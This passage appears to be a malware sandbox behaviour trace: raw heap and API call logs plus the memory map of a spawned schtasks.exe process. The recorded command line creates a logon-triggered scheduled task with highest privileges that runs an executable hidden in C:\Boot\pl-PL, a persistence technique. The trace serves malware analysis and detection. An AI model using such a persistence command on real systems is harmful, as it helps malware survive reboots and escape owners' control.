lpMem=0x7cc00 | out: hHeap=0x60000) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5f0) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d5f0) returned 0xa [0135.850] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d5f0 | out: hHeap=0x60000) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cbd0) returned 1 [0135.850] GetProcessHeap () returned 0x60000 [0135.850] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cbd0) returned 0x20 [0135.851] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cbd0 | out: hHeap=0x60000) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7d610) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7d610) returned 0xc [0135.851] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7d610 | out: hHeap=0x60000) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7cba0) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7cba0) returned 0x20 [0135.851] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7cba0 | out: hHeap=0x60000) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9c0) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b9c0) returned 0x18 [0135.851] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9c0 | out: hHeap=0x60000) returned 1 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] GetProcessHeap () returned 0x60000 [0135.851] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x759c0) returned 1 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x759c0) returned 0x20 [0135.852] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x759c0 | out: hHeap=0x60000) returned 1 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x759f0) returned 1 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x759f0) returned 0x20 [0135.852] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x759f0 | out: hHeap=0x60000) returned 1 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a20) returned 1 [0135.852] GetProcessHeap () returned 0x60000 [0135.852] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a20) returned 0x20 [0135.853] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a20 | out: hHeap=0x60000) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a50) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a50) returned 0x20 [0135.853] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a50 | out: hHeap=0x60000) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9e0) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b9e0) returned 0x18 [0135.853] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b9e0 | out: hHeap=0x60000) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] GetProcessHeap () returned 0x60000 [0135.853] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75a80) returned 1 [0135.853] GetProcessHeap () returned 0x60000 [0135.854] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75a80) returned 0x20 [0135.854] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75a80 | out: hHeap=0x60000) returned 1 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b10) returned 1 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b10) returned 0x20 [0135.854] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b10 | out: hHeap=0x60000) returned 1 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b70) returned 1 [0135.854] GetProcessHeap () returned 0x60000 [0135.854] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b70) returned 0x20 [0135.854] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b70 | out: hHeap=0x60000) returned 1 [0135.854] GetProcessHeap () returned 0x60000 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75bd0) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75bd0) returned 0x20 [0135.855] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75bd0 | out: hHeap=0x60000) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75c00) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75c00) returned 0x20 [0135.855] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75c00 | out: hHeap=0x60000) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba00) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7ba00) returned 0x18 [0135.855] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7ba00 | out: hHeap=0x60000) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x75b40) returned 1 [0135.855] GetProcessHeap () returned 0x60000 [0135.855] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x75b40) returned 0x20 [0135.856] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x75b40 | out: hHeap=0x60000) returned 1 [0135.856] GetProcessHeap () returned 0x60000 [0135.856] GetProcessHeap () returned 0x60000 [0135.856] HeapValidate (hHeap=0x60000, dwFlags=0x0, lpMem=0x7b980) returned 1 [0135.856] GetProcessHeap () returned 0x60000 [0135.856] RtlSizeHeap (HeapHandle=0x60000, Flags=0x0, MemoryPointer=0x7b980) returned 0x18 [0135.856] HeapFree (in: hHeap=0x60000, dwFlags=0x0, lpMem=0x7b980 | out: hHeap=0x60000) returned 1 [0135.856] exit (_Code=0) Thread: id = 126 os_tid = 0xf40 Process: id = "21" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x433a3000" os_pid = "0xf44" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"operamail\" /sc ONLOGON /tr \"'C:\\Boot\\pl-PL\\operamail.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2361 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2362 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 2363 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 2364 start_va = 0x1a0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2365 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2366 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2367 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2368 start_va = 0xffeb0000 end_va = 0xffef7fff monitored = 1 entry_point = 0xffed966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2369 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2370 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 2371 start_va = 0x7fffffda000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2372 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 2373 start_va = 0x220000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2374 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2375 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2376 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2377 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2378 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2379 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2380 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2381 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2382 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2383 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 2384 start_va = 0x7fefe910000 end_va = 0x7fefe9d8fff monitored = 0 entry_point = 0x7fefe98a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 2385 start_va = 0x7fefd4e0000 end_va = 0x7fefd6e2fff monitored = 0 entry_point = 0x7fefd503330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2386 start_va = 0x7fefe680000 end_va = 0x7fefe7acfff monitored = 0 entry_point = 0x7fefe6ced50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2387 start_va = 0x7fefeb70000 end_va = 0x7fefec46fff monitored = 0 entry_point = 0x7fefeb73274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2388 start_va = 0x7fefe890000 end_va = 0x7fefe900fff monitored = 0 entry_point = 0x7fefe8a1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 2389 start_va = 0x7fefa290000 end_va = 0x7fefa299fff monitored = 0 entry_point = 0x7fefa29260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 2390 start_va = 0xc0000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2391 start_va = 0x3d0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2392 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2393 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 2394 start_va = 0x4d0000 end_va = 0x657fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 2395 start_va = 0xc0000 end_va = 0xe8fff monitored = 0 entry_point = 0xc1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2396 start_va = 0x7feff000000 end_va = 0x7feff02dfff monitored = 0 entry_point = 0x7feff001010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2397 start_va = 0x7fefed10000 end_va = 0x7fefee18fff monitored = 0 entry_point = 0x7fefed11064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 2398 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 2399 start_va = 0x7f0000 end_va = 0x1beffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007f0000" filename = "" Region: id = 2400 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2401 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 2402 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 2403 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2404 start_va = 0x1bf0000 end_va = 0x1ebefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2405 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2406 start_va = 0x2d0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 2407 start_va = 0x220000 end_va = 0x29cfff monitored = 0 entry_point = 0x22cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2408 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2409 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2410 start_va = 0x1ec0000 end_va = 0x1fdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ec0000" filename = "" Region: id = 2411 start_va = 0x1fe0000 end_va = 0x20befff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001fe0000" filename = "" Region: id = 2412 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2413 start_va = 0x250000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2414 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2415 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 2416 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 2417 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2418 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 2419 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2420 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2421 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 127 os_tid = 0xf48 [0135.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21f8e0 | out: lpSystemTimeAsFileTime=0x21f8e0*(dwLowDateTime=0x1ffca040, dwHighDateTime=0x1d8a92a)) [0135.868] GetCurrentProcessId () returned 0xf44 [0135.868] GetCurrentThreadId () returned 0xf48 [0135.868] GetTickCount () returned 0x138764e [0135.868] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21f8e8 | out: lpPerformanceCount=0x21f8e8*=2061473187841) returned 1 [0135.869] GetModuleHandleW (lpModuleName=0x0) returned 0xffeb0000 [0135.869] __set_app_type (_Type=0x1) [0135.869] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xffed972c) returned 0x0 [0135.869] __wgetmainargs (in: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248, _DoWildCard=0, _StartInfo=0xffef125c | out: _Argc=0xffef1240, _Argv=0xffef1250, _Env=0xffef1248) returned 0 [0135.870] _onexit (_Func=0xffee2ab0) returned 0xffee2ab0 [0135.870] _onexit (_Func=0xffee2ac4) returned 0xffee2ac4 [0135.871] _onexit (_Func=0xffee2afc) returned 0xffee2afc [0135.871] _onexit (_Func=0xffee2b58) returned 0xffee2b58 [0135.871] _onexit (_Func=0xffee2b80) returned 0xffee2b80 [0135.871] _onexit (_Func=0xffee2ba8) returned 0xffee2ba8 [0135.871] _onexit (_Func=0xffee2bd0) returned 0xffee2bd0 [0135.871] _onexit (_Func=0xffee2bf8) returned 0xffee2bf8 [0135.871] _onexit (_Func=0xffee2c20) returned 0xffee2c20 [0135.872] _onexit (_Func=0xffee2c48) returned 0xffee2c48 [0135.872] _onexit (_Func=0xffee2c70) returned 0xffee2c70 [0135.872] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0135.872] WinSqmIsOptedIn () returned 0x0 [0135.874] GetProcessHeap () returned 0x2d0000 [0135.874] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eb960 [0135.874] SetLastError (dwErrCode=0x0) [0135.874] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0135.874] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0135.874] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0135.874] VerifyVersionInfoW (in: lpVersionInformation=0x21f0a0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21f0a0) returned 1 [0135.874] GetProcessHeap () returned 0x2d0000 [0135.874] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eb980 [0135.874] lstrlenW (lpString="") returned 0 [0135.874] GetProcessHeap () returned 0x2d0000 [0135.874] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x2) returned 0x2eb9a0 [0135.874] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5900 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eb9c0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5930 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5960 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5990 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e59c0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eb9e0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e59f0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a20 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a50 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5a80 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba00 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ab0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ae0 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b10 [0135.875] GetProcessHeap () returned 0x2d0000 [0135.875] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b40 [0135.876] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0135.876] SetLastError (dwErrCode=0x0) [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5b70 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5ba0 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5bd0 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c00 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x20) returned 0x2e5c30 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x18) returned 0x2eba20 [0135.876] _memicmp (_Buf1=0x2eba20, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0135.876] GetProcessHeap () returned 0x2d0000 [0135.876] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0xc, Size=0x208) returned 0x2ebbc0 [0135.876] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2ebbc0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0135.877] LoadLibraryExA (lpLibFileName="VERSION.dll", 